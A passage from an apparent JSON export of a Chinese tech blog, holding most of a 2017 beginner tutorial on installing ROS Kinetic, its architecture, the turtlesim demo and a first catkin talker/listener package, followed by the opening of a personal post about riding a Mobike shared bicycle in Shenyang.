Kame组合；不过由于KK版本发布也就一年出头，市面上更多组织采用的可能还是Ubuntu 14.04 + ROS Indigo Igloo组合。\n这里以Ubuntu 16.04+ ROS Kinetic Kame简单说明一下ROS1的安装过程：\n1、获取source list并update源 # sh -c 'echo \u0026quot;deb http://packages.ros.org/ros/ubuntu $(lsb_release -sc) main\u0026quot; \u0026gt; /etc/apt/sources.list.d/ros-latest.list' # apt-key adv --keyserver hkp://ha.pool.sks-keyservers.net:80 --recv-key 421C365BD9FF1F717815A3895523BAEEB01FA116 Executing: /tmp/tmp.gJDpQgL6qG/gpg.1.sh --keyserver hkp://ha.pool.sks-keyservers.net:80 --recv-key 421C365BD9FF1F717815A3895523BAEEB01FA116 gpg: requesting key B01FA116 from hkp server ha.pool.sks-keyservers.net gpg: key B01FA116: public key \u0026quot;ROS Builder \u0026lt;rosbuild@ros.org\u0026gt;\u0026quot; imported gpg: Total number processed: 1 gpg: imported: 1 如果需要代理，可以用： apt-key adv --keyserver-options http-proxy=\u0026lt;myProxy\u0026gt; --keyserver hkp://ha.pool.sks-keyservers.net:80 --recv-key 421C365BD9FF1F717815A3895523BAEEB01FA116 # apt-get update 2、安装kk版本 ROS有几个release配置供你选择安装：ROS-Base、Desktop Install和Desktop-Full Install，Desktop-Full Install是官方推荐的选项，也是安装最全的选项，它包含了ROS, rqt, rviz, robot-generic libraries, 2D/3D simulators, navigation and 2D/3D perception等package：\n# apt-get install ros-kinetic-desktop-full 这个过程需要好长一段时间（依你的网络情况而定），因为ROS超级庞大，有大约2G的安装文件要下载安装。\n3、初始化ROS依赖 在使用ROS之前，我们还得先初始化ROS的一些依赖，ROS为你提供了“一键式”的初始化命令：\n# rosdep init Wrote /etc/ros/rosdep/sources.list.d/20-default.list Recommended: please run rosdep update # rosdep update reading in sources list data from /etc/ros/rosdep/sources.list.d Hit https://raw.githubusercontent.com/ros/rosdistro/master/rosdep/osx-homebrew.yaml Hit https://raw.githubusercontent.com/ros/rosdistro/master/rosdep/base.yaml ... ... Hit https://raw.githubusercontent.com/ros/rosdistro/master/rosdep/python.yaml Hit https://raw.githubusercontent.com/ros/rosdistro/master/rosdep/ruby.yaml Hit https://raw.githubusercontent.com/ros/rosdistro/master/releases/fuerte.yaml Query rosdistro index https://raw.githubusercontent.com/ros/rosdistro/master/index.yaml Add distro \u0026quot;groovy\u0026quot; Add distro \u0026quot;hydro\u0026quot; Add distro \u0026quot;indigo\u0026quot; Add distro \u0026quot;jade\u0026quot; Add distro \u0026quot;kinetic\u0026quot; Add distro \u0026quot;lunar\u0026quot; updated cache in /home/tonybai/.ros/rosdep/sources.cache ... ... 到这里，我们可以看到ROS被安装到/opt/ros/kinetic下面了：\n# tree -L 1 /opt/ros/kinetic /opt/ros/kinetic ├── bin ├── env.sh ├── etc ├── include ├── lib ├── setup.bash ├── setup.sh ├── _setup_util.py ├── setup.zsh └── share 5 directories, 5 files 4、设置环境变量 ROS提供了设置环境变量的脚本：/opt/ros/kinetic/setup.bash，我们将其加入到.bashrc中，这样每次用户登录后就可以使用下面这些ROS专属环境变量了：\n# echo \u0026quot;source /opt/ros/kinetic/setup.bash\u0026quot; \u0026gt;\u0026gt; ~/.bashrc # source ~/.bashrc # env|grep ROS ROS_ROOT=/opt/ros/kinetic/share/ros ROS_PACKAGE_PATH=/opt/ros/kinetic/share ROS_MASTER_URI=http://localhost:11311 ROSLISP_PACKAGE_DIRECTORIES= ROS_DISTRO=kinetic ROS_ETC_DIR=/opt/ros/kinetic/etc/ros 5、安装一些用于ROS package构建的工具依赖 ROS的用户会创建自己的ROS package，为了方便构建这些user package，我们需要安装以下一些工具：\n# apt-get install python-rosinstall python-rosinstall-generator python-wstool build-essential 6、验证安装结果 完成以上操作后，ROS kk版本就安装OK了，我们来验证一下安装结果是否正确。我们来尝试启动一下ROS的master node：\n# roscore ... logging to /root/.ros/log/fc6a002e-75cf-11e7-b053-00163e1001d7/roslaunch-myhost-7609.log Checking log directory for disk usage. This may take awhile. Press Ctrl-C to interrupt Done checking log file disk usage. Usage is \u0026lt;1GB. started roslaunch server http://myhost:43606/ ros_comm version 1.12.7 SUMMARY ======== PARAMETERS * /rosdistro: kinetic * /rosversion: 1.12.7 NODES auto-starting new master process[master]: started with pid [7620] ROS_MASTER_URI=http://myhost:11311/ setting /run_id to fc6a002e-75cf-11e7-b053-00163e1001d7 process[rosout-1]: started with pid [7633] started core service [/rosout] 如果你看到上面这些roscore的输出，那么基本就证明你的ROS1安装成功了！\n三、ROS架构 ROS安装完毕后，我们来对ROS做进一步的探索！先来看看ROS1的架构。\nROS文档中将ROS架构分为三个级别：Filesystem level、Computation Graph level和Community level。对于一个framework来说，从字面意义上理解这三个level还是有些晦涩的。Community level先不说，我们可以通过对照来理解Filesystem level和Computation Graph level，实质上它们一个对应的是ROS的静态结构，一个对应的则是ROS的运行时结构。\n1、ROS Filesystem level 我们这里借用《Effective Robotics Programming with ROS 3rd》中的图来整体看一下ROS Filesystem的概念：\nROS实质上是由一系列的packages组成的，在packages的基础上，ROS通过metapackage来聚合一组packages以形成一个逻辑package。基于metapackage和package概念，ROS为开发者提供了在package之间跳转、文件拷贝、包查找、执行等功能的”类FileSystem”命令集合，比如：roscd、rosls、roscp、rosrun、roscat、rospack等。下面是一些命令使用的例子：\n// 切换到ros安装目录 root@myhost:~# roscd root@myhost:/opt/ros/kinetic# // 切换到turtlesim包目录 root@myhost:~# roscd turtlesim root@myhost:/opt/ros/kinetic/share/turtlesim# // list turtlesim包内的文件 root@myhost:~# rosls turtlesim cmake images msg package.xml srv // 查找turtlesim包的路径 root@myhost:~# rospack find turtlesim /opt/ros/kinetic/share/turtlesim // 执行包turtlesim下的turtlesim_node root@myhost:~# rosrun turtlesim turtlesim_node // 查看包turtlesim的package.xml内容 root@myhost:~# roscat turtlesim package.xml \u0026lt;?xml version=\u0026quot;1.0\u0026quot;?\u0026gt; \u0026lt;package\u0026gt; \u0026lt;name\u0026gt;turtlesim\u0026lt;/name\u0026gt; \u0026lt;version\u0026gt;0.7.1\u0026lt;/version\u0026gt; \u0026lt;description\u0026gt; turtlesim is a tool made for teaching ROS and ROS packages. \u0026lt;/description\u0026gt; ... ... \u0026lt;/package\u0026gt; ROS安装后，其所有package均存储在$ROS_PACKAGE_PATH下面，初始情况下即为/opt/ros/kinetic/share：\nroot@myhost:/opt/ros/kinetic# ls share actionlib eigen_stl_containers laser_pipeline rosbag_migration_rule roswtf shape_msgs actionlib_msgs executive_smach librviz_tutorial rosbag_storage rqt_action simulators actionlib_tutorials filters map_msgs ros_base rqt_bag smach ... ... 每个package下的结构都类似，以turtlesim包为例：\nroot@myhost:/opt/ros/kinetic/share# ls -F turtlesim cmake/ images/ msg/ package.xml srv/ 至此，上面图片中package中的结构似乎与上面看到的turtlesim package中的结构对应上了。每个package下面都至少有一个package.xml作为package的manifests，msg、srv是功能性配置，分别定义了package用到的message和提供的service的结构。这里并没有代码，只是一些配置信息。\n而对应的包的可执行文件则在/opt/ros/kinetic/lib下，还是以turtlesim package为例，当我们执行下面命令时：\n# rosrun turtlesim turtlesim_node rosrun首先会到$ROS_PACKAGE_PATH下找是否有package.xml中name为”turtlesim”的package(与目录的名字无关)。如果有，rosrun会到/opt/ros/kinetic/lib/turtlesim下查找是否有turtlesim_node这个二进制可执行文件。存在，则启动之；否则报错。\nroot@myhost:/opt/ros/kinetic/lib/turtlesim# ls draw_square mimic turtlesim_node turtle_teleop_key root@myhost:/opt/ros/kinetic/lib/turtlesim# rosrun turtlesim turtlesim_node [ INFO] [1501549501.410816841]: Starting turtlesim with node name /turtlesim [ INFO] [1501549501.428589492]: Spawning turtle [turtle1] at x=[5.544445], y=[5.544445], theta=[0.000000] 还有一种package：metapackage。metapackage在目录结构上与普通package无异，但package.xml尾部多了metapackage标签，我们以ros_core/package.xml为例：\n\u0026lt;package\u0026gt; \u0026lt;name\u0026gt;ros_core\u0026lt;/name\u0026gt; \u0026lt;version\u0026gt;1.3.1\u0026lt;/version\u0026gt; \u0026lt;buildtool_depend\u0026gt;catkin\u0026lt;/buildtool_depend\u0026gt; \u0026lt;run_depend\u0026gt;catkin\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;cmake_modules\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;common_msgs\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;gencpp\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;geneus\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;genlisp\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;genmsg\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;gennodejs\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;genpy\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;message_generation\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;message_runtime\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;ros\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;ros_comm\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;rosbag_migration_rule\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;rosconsole_bridge\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;roscpp_core\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;rosgraph_msgs\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;roslisp\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;rospack\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;std_msgs\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;std_srvs\u0026lt;/run_depend\u0026gt; \u0026lt;export\u0026gt; \u0026lt;metapackage/\u0026gt; \u0026lt;/export\u0026gt; \u0026lt;/package\u0026gt; 这种包称为metapackage，它的实质是一组package的集合。\n2、ROS Computation Graph level 说完了ROS的静态结构，我们再来看看ROS整体的运行时结构，即ROS Computation Graph level：\nROS在运行时层面是由一个master和一组node组成的，master的作用就是名字注册和查找，建立node与topic间联系以及服务发现之用。node间的通信方式可以是：\n服务srv调用 topic的发布和订阅 我们通过rosnode命令可以操作node，比如查看当前ROS中node信息：\n# rosnode list /rosout /turtlesim /rosout node是一个由roscore命令启动的特殊node，它相当于整个ROS运行环境的stdout/stderr，将所有node发往/rosout topic的消息汇聚在一起。\n每个ROS运行时环境有且仅有一个ros master，ros master通过执行roscore命令启动，这也是一个ROS运行环境启动最先应该执行的命令：\n# roscore ... logging to /home/tonybai/.ros/log/ee13b88e-7666-11e7-af90-4ccc6a7061a6/roslaunch-tonybai-myhost-26158.log Checking log directory for disk usage. This may take awhile. Press Ctrl-C to interrupt Done checking log file disk usage. Usage is \u0026lt;1GB. started roslaunch server http://tonybai-myhost:36180/ ros_comm version 1.12.7 SUMMARY ======== PARAMETERS * /rosdistro: kinetic * /rosversion: 1.12.7 NODES auto-starting new master process[master]: started with pid [26169] ROS_MASTER_URI=http://tonybai-myhost:11311/ setting /run_id to ee13b88e-7666-11e7-af90-4ccc6a7061a6 process[rosout-1]: started with pid [26182] started core service [/rosout] roscore位于/opt/ros/kinetic/bin下，它实际上是一个python脚本，它调用位于/opt/ros/kinetic/lib/python2.7/dist-packages/roslaunch下的roslaunch lib，并依据launch配置文件/opt/ros/kinetic/etc/ros/roscore.xml启动对应的核心node：\n// /opt/ros/kinetic/etc/ros/roscore.xml \u0026lt;!-- ROS Core Stack definition Before making any modifications to this file, please read: http://ros.org/wiki/roscore --\u0026gt; \u0026lt;launch\u0026gt; \u0026lt;group ns=\u0026quot;/\u0026quot;\u0026gt; \u0026lt;param name=\u0026quot;rosversion\u0026quot; command=\u0026quot;rosversion roslaunch\u0026quot; /\u0026gt; \u0026lt;param name=\u0026quot;rosdistro\u0026quot; command=\u0026quot;rosversion -d\u0026quot; /\u0026gt; \u0026lt;node pkg=\u0026quot;rosout\u0026quot; type=\u0026quot;rosout\u0026quot; name=\u0026quot;rosout\u0026quot; respawn=\u0026quot;true\u0026quot;/\u0026gt; \u0026lt;/group\u0026gt; \u0026lt;/launch\u0026gt; roscore会自动启动master，master对应的是一个metapackage: ros。ros package的package.xml如下：\n\u0026lt;package\u0026gt; \u0026lt;name\u0026gt;ros\u0026lt;/name\u0026gt; \u0026lt;version\u0026gt;1.13.5\u0026lt;/version\u0026gt; \u0026lt;description\u0026gt;ROS packaging system\u0026lt;/description\u0026gt; \u0026lt;maintainer email=\u0026quot;dthomas@osrfoundation.org\u0026quot;\u0026gt;Dirk Thomas\u0026lt;/maintainer\u0026gt; ... ... \u0026lt;buildtool_depend\u0026gt;catkin\u0026lt;/buildtool_depend\u0026gt; \u0026lt;run_depend\u0026gt;catkin\u0026lt;/run_depend\u0026gt; \u0026lt;!-- only for backward compatibility with rosbuild --\u0026gt; \u0026lt;run_depend\u0026gt;mk\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;rosbuild\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;roslang\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;roslib\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;rosbash\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;rosboost_cfg\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;rosclean\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;roscreate\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;rosmake\u0026lt;/run_depend\u0026gt; \u0026lt;run_depend\u0026gt;rosunit\u0026lt;/run_depend\u0026gt; \u0026lt;export\u0026gt; \u0026lt;metapackage/\u0026gt; \u0026lt;/export\u0026gt; \u0026lt;/package\u0026gt; ROS的运行时当前目录为~/.ros，在这个目录下你会看到ros的一些运行时输出信息：\n$ tree -L 1 ~/.ros /home/tonybai/.ros ├── log/ ├── roscore-11311.pid ├── rosdep/ ├── rospack_cache_00988404638878154258 ├── rospack_cache_04359245844500407984 ├── rospack_cache_05251971726343818934 ├── rospack_cache_11134725904490598093 ├── rosstack_cache_00988404638878154258 ├── rosstack_cache_04359245844500407984 ├── rosstack_cache_05251971726343818934 └── rosstack_cache_11134725904490598093 2 directories, 9 files roscore还会启动一个Parameter Server，用于各个节点保存或读取parameters，通过rosparam可以查看相关param信息，比如当前param的list：\n$ rosparam list /background_b /background_g /background_r /rosdistro /roslaunch/uris/host_tonybai_myhost__36180 /rosversion /run_id 我们可以通过ros提供的rqt_graph命令查看node之间以及node与topic之间的订阅和发布关系，如下图：\n3、ROS的“分布式”源码结构 安装过程中ROS的“庞大”，与ROS在github上源码库的“渺小”形成鲜明对比。其实我们安装的ROS与这份源码库并非一一对应的：ROS的源码结构也是“分布式”的，ROS源码实质上是一系列package源码的组合。当前版本的ROS发布版采用bloom工具进行release的。以kk版本为例，bloom读取一份rosdistro库的kk版本distribution.yaml文件（这份文件比较庞大），即ROS发布文件，并根据文件中的描述信息，下载对应的package源码并编译构建的：\n// kinetic/distribution.yaml) %YAML 1.1 # ROS distribution file # see REP 143: http://ros.org/reps/rep-0143.html --- release_platforms: debian: - jessie fedora: - '23' - '24' ubuntu: - xenial repositories: abb: doc: type: git url: https://github.com/ros-industrial/abb.git version: kinetic-devel release: packages: - abb - abb_driver - abb_resources ... ... tags: release: release/kinetic/{package}/{version} url: https://github.com/ros-industrial-release/abb-release.git version: 1.3.0-1 source: type: git url: https://github.com/ros-industrial/abb.git version: kinetic status: developed abb_experimental: doc: type: git url: https://github.com/ros-industrial/abb_experimental.git version: kinetic-devel status: developed ... ... type: distribution version: 2 鉴于ROS这种分布式的相对松散的源码组织结构，对ROS的裁剪则相对简单，只需挑选你自己需要的第三方包即可。\n四、启动你的第一个ROS“机器人” ROS虽然号称机器人开发框架，但拥有一个实体版机器人并不是进行ROS开发的必要条件。ROS的一大优势就是可以利用各种仿真工具进行机器人操作和控制逻辑的仿真和调试。常见的仿真器主要有三个：Turtlesim、Rviz+arbotix和Gazebo。Turtlesim是一个QT开发的2D轨迹显示界面，只能显示运动轨迹；arbotix是含有一个差速驱动机器人的控制器，结合rviz使用，用于机器人运动及topic数据的3D显示，但不包含物理学引擎；Gazebo是全功能的3D物理模拟器，要用这个模拟器，需要掂量掂量你的主机的内存和显卡是否够用。\n本文是入门文章，我们就从turtlesim开始。假设此时roscore已经启动了。\n我们来启动一下turtlesim_node：\n# rosrun turtlesim turtlesim_node [ INFO] [1501549501.410816841]: Starting turtlesim with node name /turtlesim [ INFO] [1501549501.428589492]: Spawning turtle [turtle1] at x=[5.544445], y=[5.544445], theta=[0.000000] 这时你的desktop会出现一个新的窗口，如下图：\n不过此时小海龟一动不动！如果要让它移动，我们需要告诉他如何移动!\n我们启动另外一个node – turtle_teleop_key：\n# rosrun turtlesim turtle_teleop_key Reading from keyboard --------------------------- Use arrow keys to move the turtle. 通过turtle_teleop_key，我们可以使用方向键控制小海龟的移动了：\n其原理在于：turtle_teleop_key将方向键产生的数据转换为位置信息后，发布到topic: /turtle1/cmd_vel上；turtlesim_node由于subscribe了该topic，因此将接收到新的位置数据，这样小海龟就会移动到新的位置上去：\nturtlesim node启动后还启动了一个service： spawn，调用该服务我们可以在窗口上创建出一个新的小海龟：\n# rosservice call /spawn 2 2 0.2 \u0026quot;\u0026quot; name: turtle2 可以看到，通过service调用或向topic发布数据，我们可以自由控制小海龟。下面的是一个稍微复杂的控制指令，其结果就是让小海龟1进行持续的转圈动作：\nrostopic pub /turtle1/cmd_vel geometry_msgs/Twist -r 1 -- '[2.0, 0.0, 0.0]' '[0.0, 0.0, -1.8]' 五、创建你的第一个ROS package 现在我们来创建第一个ROS package！\n1、初始化ros workspace 我们要添加自己的ROS package，一般不会直接在ROS的安装目录下创建，因此我们需要创建自己的workspace，并在后续将其加入到ROS_PACKAGE_PATH中，以使得ros的文件系统命令也能适用于我们自己的workspace路径。\n# mkdir -p ~/myros_ws/src # cd ~/myros_ws/src # catkin_init_workspace Creating symlink \u0026quot;/home/tonybai/myros_ws/src/CMakeLists.txt\u0026quot; pointing to \u0026quot;/opt/ros/kinetic/share/catkin/cmake/toplevel.cmake\u0026quot; $ tree ~/myros_ws/ /home/tonybai/myros_ws/ └── src └── CMakeLists.txt -\u0026gt; /opt/ros/kinetic/share/catkin/cmake/toplevel.cmake 1 directory, 1 file 2、创建Package 我们来创建一个我们自己的package – chattingsim:\n# cd ~/myros_ws/src # catkin_create_pkg chattingsim std_msgs rospy roscpp Created file chattingsim/package.xml Created file chattingsim/CMakeLists.txt Created folder chattingsim/include/chattingsim Created folder chattingsim/src Successfully created files in /home/tonybai/myros_ws/src/chattingsim. Please adjust the values in package.xml. # tree chattingsim/ chattingsim/ ├── CMakeLists.txt ├── include │ └── chattingsim ├── package.xml └── src 3 directories, 2 files 虽然目前我们的chattingsim package并没有任何有意义的代码，但不妨碍我们先来编译一下myros_ws这个workspace：\n# cd ~/myros_ws/ # catkin_make # catkin_make Base path: /home/tonybai/myros_ws Source space: /home/tonybai/myros_ws/src Build space: /home/tonybai/myros_ws/build Devel space: /home/tonybai/myros_ws/devel Install space: /home/tonybai/myros_ws/install #### #### Running command: \u0026quot;cmake /home/tonybai/myros_ws/src -DCATKIN_DEVEL_PREFIX=/home/tonybai/myros_ws/devel -DCMAKE_INSTALL_PREFIX=/home/tonybai/myros_ws/install -G Unix Makefiles\u0026quot; in \u0026quot;/home/tonybai/myros_ws/build\u0026quot; #### -- The C compiler identification is GNU 5.4.0 -- The CXX compiler identification is GNU 5.4.0 -- Check for working C compiler: /usr/bin/cc -- Check for working C compiler: /usr/bin/cc -- works ... ... -- Looking for pthread_create in pthread -- Looking for pthread_create in pthread - found -- Found Threads: TRUE -- Found gtest sources under '/usr/src/gtest': gtests will be built -- Using Python nosetests: /usr/bin/nosetests-2.7 -- catkin 0.7.6 -- BUILD_SHARED_LIBS is on -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -- ~~ traversing 1 packages in topological order: -- ~~ - chattingsim -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -- +++ processing catkin package: 'chattingsim' -- ==\u0026gt; add_subdirectory(chattingsim) -- Configuring done -- Generating done -- Build files have been written to: /home/tonybai/myros_ws/build #### #### Running command: \u0026quot;make -j4 -l4\u0026quot; in \u0026quot;/home/tonybai/myros_ws/build\u0026quot; #### catkin_make后，myros_ws下面又增加了不少目录和文件：\n~/myros_ws$ tree -L 2 . ├── build │ ├── catkin │ ├── catkin_generated │ ├── CATKIN_IGNORE │ ├── catkin_make.cache │ ├── chattingsim │ ├── CMakeCache.txt │ ├── CMakeFiles │ ├── cmake_install.cmake │ ├── CTestTestfile.cmake │ ├── gtest │ ├── Makefile │ └── test_results ├── devel │ ├── env.sh │ ├── lib │ ├── setup.bash │ ├── setup.sh │ ├── _setup_util.py │ ├── setup.zsh │ └── share └── src ├── chattingsim └── CMakeLists.txt -\u0026gt; /opt/ros/kinetic/share/catkin/cmake/toplevel.cmake 12 directories, 12 files 我们看到~/myros_ws/devel目录下的结构与/opt/ros/kinetic下的非常相似，我们将其加入到ROS_PACKAGE_PATH：\n# cd ~/myros_ws/devel # source ./setup.bash # echo $ROS_PACKAGE_PATH /home/tonybai/myros_ws/src:/opt/ros/kinetic/share 3、添加talker和listener chattingsim package的架子已经搭好，接下来我们开始“填肉”。这里我们直接使用ros tutorials中写好的两个源文件talker.cpp和listener.cpp，我们把这两个文件放在~/myros_ws/src/chattingsim/src下面。\n在build之前，我们需要修改一下chattingsim的CMakeLists.txt：\ncmake_minimum_required(VERSION 2.8.3) project(chattingsim) find_package(catkin REQUIRED COMPONENTS roscpp rospy std_msgs genmsg ) generate_messages(DEPENDENCIES std_msgs) include_directories( include ${catkin_INCLUDE_DIRS} ) add_executable(talker src/talker.cpp) target_link_libraries(talker ${catkin_LIBRARIES}) add_dependencies(talker chattingsim_generate_messages_cpp) add_executable(listener src/listener.cpp) target_link_libraries(listener ${catkin_LIBRARIES}) add_dependencies(listener chattingsim_generate_messages_cpp) 构建chattingsim package：\n~/myros_ws# catkin_make Base path: /home/tonybai/myros_ws Source space: /home/tonybai/myros_ws/src Build space: /home/tonybai/myros_ws/build Devel space: /home/tonybai/myros_ws/devel Install space: /home/tonybai/myros_ws/install #### #### Running command: \u0026quot;make cmake_check_build_system\u0026quot; in \u0026quot;/home/tonybai/myros_ws/build\u0026quot; #### #### #### Running command: \u0026quot;make -j4 -l4\u0026quot; in \u0026quot;/home/tonybai/myros_ws/build\u0026quot; #### [ 0%] Built target std_msgs_generate_messages_eus [ 0%] Built target std_msgs_generate_messages_cpp [ 0%] Built target std_msgs_generate_messages_lisp [ 0%] Built target std_msgs_generate_messages_py [ 0%] Built target std_msgs_generate_messages_nodejs [ 0%] Built target chattingsim_generate_messages_cpp [ 0%] Built target chattingsim_generate_messages_lisp [ 14%] Generating EusLisp manifest code for chattingsim [ 28%] Building CXX object chattingsim/CMakeFiles/talker.dir/src/talker.cpp.o [ 28%] Built target chattingsim_generate_messages_nodejs [ 42%] Generating Python msg __init__.py for chattingsim [ 57%] Generating Python srv __init__.py for chattingsim [ 71%] Building CXX object chattingsim/CMakeFiles/listener.dir/src/listener.cpp.o [ 71%] Built target chattingsim_generate_messages_py [ 71%] Built target chattingsim_generate_messages_eus [ 71%] Built target chattingsim_generate_messages [ 85%] Linking CXX executable /home/tonybai/myros_ws/devel/lib/chattingsim/talker [ 85%] Built target talker [100%] Linking CXX executable /home/tonybai/myros_ws/devel/lib/chattingsim/listener [100%] Built target listener 4、启动chattingsim的talker node和listener node 在两个terminal窗口分别启动listener node和talker node：\n# rosrun chattingsim listener [ INFO] [1501577165.148477238]: I heard: [hello world 3] [ INFO] [1501577165.248349227]: I heard: [hello world 4] [ INFO] [1501577165.348301478]: I heard: [hello world 5] [ INFO] [1501577165.448340592]: I heard: [hello world 6] [ INFO] [1501577165.548433696]: I heard: [hello world 7] [ INFO] [1501577165.648466054]: I heard: [hello world 8] [ INFO] [1501577165.748424131]: I heard: [hello world 9] [ INFO] [1501577165.848457076]: I heard: [hello world 10] [ INFO] [1501577165.948449431]: I heard: [hello world 11] [ INFO] [1501577166.048470110]: I heard: [hello world 12] [ INFO] [1501577166.148340964]: I heard: [hello world 13] # rosrun chattingsim talker [ INFO] [1501577164.847745179]: hello world 0 [ INFO] [1501577164.947898377]: hello world 1 [ INFO] [1501577165.047889213]: hello world 2 [ INFO] [1501577165.147882701]: hello world 3 [ INFO] [1501577165.247923700]: hello world 4 [ INFO] [1501577165.347918242]: hello world 5 [ INFO] [1501577165.447917169]: hello world 6 [ INFO] [1501577165.547916593]: hello world 7 [ INFO] [1501577165.647920474]: hello world 8 [ INFO] [1501577165.747930882]: hello world 9 [ INFO] [1501577165.847917356]: hello world 10 [ INFO] [1501577165.947918365]: hello world 11 [ INFO] [1501577166.047918187]: hello world 12 [ INFO] [1501577166.147919712]: hello world 13 ^C[ INFO] [1501577166.247984284]: hello world 14 至此，基于我们第一个package: chattingsim而创建的node工作正常！\n六、小结 如果说人工智能的算法是大脑，实体的机械部件构成四肢，那么ROS则提供了大脑与各肢体间提供了神经传递的机制。之前ROS在国内发展的不瘟不火，随着Baidu Apollo项目将ros作为Apollo-platform支持的一部分，更多人会去了解ROS，ROS在国内的发展势也许会走得更顺畅一些。ROSCon 2017也即将于下月在加拿大温哥华召开，ROS2对ROS1的安全性和实时性的加强也势必会让ROS有更多用武之地，值得期待。\n注：ros wiki 资料非常详尽，ros tutorial是学习ros的起点，几乎不用任何其他书籍。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/08/01/hello-ros/","summary":"\u003cp\u003e\u003ca href=\"http://www.ros.org/\"\u003eROS\u003c/a\u003e，全称是Robot Operating System，字面译为“机器人操作系统”。不过\u003ca href=\"https://en.wikipedia.org/wiki/Robot_Operating_System\"\u003eROS\u003c/a\u003e并非是一个真正意义上的\u003ca href=\"https://en.wikipedia.org/wiki/Operating_system\"\u003e操作系统\u003c/a\u003e，而仅仅是一套用于机器人操作和控制软件开发的开发框架(framework)，包括各种库和工具。\u003c/p\u003e\n\u003cp\u003eROS在2007年诞生于\u003ca href=\"https://www.stanford.edu/\"\u003e斯坦福大学\u003c/a\u003e的\u003ca href=\"http://ai.stanford.edu/\"\u003e人工智能实验室Stanford Artificial Intelligence Laboratory，简称SAIL\u003c/a\u003e；2008年至2013年，ROS的开发和推广由Willow Garage公司（该公司2014年已关门大吉）主导。2013年8月，ROS的管理权转移给了\u003ca href=\"https://www.osrfoundation.org/\"\u003eOpen Source Robotics Foundation\u003c/a\u003e。截至目前，ROS已经成为全世界使用和支持最为广泛的机器人开发框架之一。\u003c/p\u003e","title":"Hello, ROS"},{"content":"上周日下午14:00，应孩子班主任老师的要求，我到学校开家长会。周末天气不算太热，学校离家的路程也不算远，于是我决定放弃开车，绿色出行^0^。去的时候乘坐的是今年沈城刚刚更换的电动公交车(好像是双动力)，回来时，我则第一次体验了共享单车（骑的是摩拜单车）。\n共享单车，对于中国一线城市和二线中心城市的人们来说早已不是啥新鲜事物了。共享单车进入沈城的时间相比一线是要晚一些时间的，并且最初只有绿色的酷奇单车一种，直到今年年初ofo、摩拜相继开始在这里投放，共享单车出行才逐渐在沈城的年轻人中间流行开来。不过，和一线城市重点地区（比如北京的清华园门口）的单车“车满为患”相比，二线城市的单车投放量还显不足，依旧是供不应求。\n一、骑行体验 之所以这么长时间以来一直未体验过共享单车有几方面原因：\n上下班路程较长，一直开车； 和孩子一起出去游玩时，共享单车又无法满足我带娃的需求； 最初在沈城投放的酷骑单车样子太丑，实在激发不出来我的骑行愿望^0^； 在北京、上海等单车发达的城市出差或游玩时，因环境陌生，路线不熟悉，单车无法满足。 于是“拖延”至今才有了我的第一次共享单车处女骑。沈城这边摩拜和ofo几乎同时进入，但从可以直接看到、感觉到的情况来看，摩拜的投放量和受欢迎程度似乎要多于ofo，街面上骑行摩拜的数量几乎与具有先发优势的酷骑相当了。我选择了摩拜。这次骑行的总体情况如下图：\n下面简单说说骑行的体验！\n关于车：\n喜欢ofo的颜色，但却喜欢mobike相对更为小巧的车辆设计以及细节； 开锁还是较快的，10多s吧。中间提示我：把蓝牙打开，会更快，不知为何； 车的制动系统很灵敏，一按就有，这个对于骑车安全非常重要； 车的确很沉，上坡费力。估计和车所使用的金属材质有关，估计也和采用实心的、非充气车胎有关； 车座十分不舒服，骑行一段时间后，就感觉屁股疼； 由于采用了实心胎，所以路感明显，减震变差，路况差之时，颠簸感强烈； 车铃铛的设计非常赞，十分易用，铃声较大，对骑行安全有益。 关于路：\n不骑车不知道，自行车道、行人道被机动车占用严重； 并不是所有路都有自行车道规划，自行车与行人共享道路有安全隐患； 在仅有机动车道的路段，骑自行车是十分危险的； 前一段自行车道与下一段自行车道接驳处的细节处理并不一致：有些地方设计了上下缓坡；有些地方干脆就得骑行者自己上下“台阶”。 关于人：\n骑行主力依旧是中青年。经过一次骑行后，发现在大城市的马路上骑行还是有很多风险的，上了年纪的老人（即便身体健康，身体倍棒的）最好不要骑车出行，还是老老实实地坐公交、地铁吧； 用共享单车让孩子学车的也不少，这个真该提醒那些家长：慎重、危险，无保障。尤其是那些让孩子在自行车道甚至是机动车道上学车的家长； 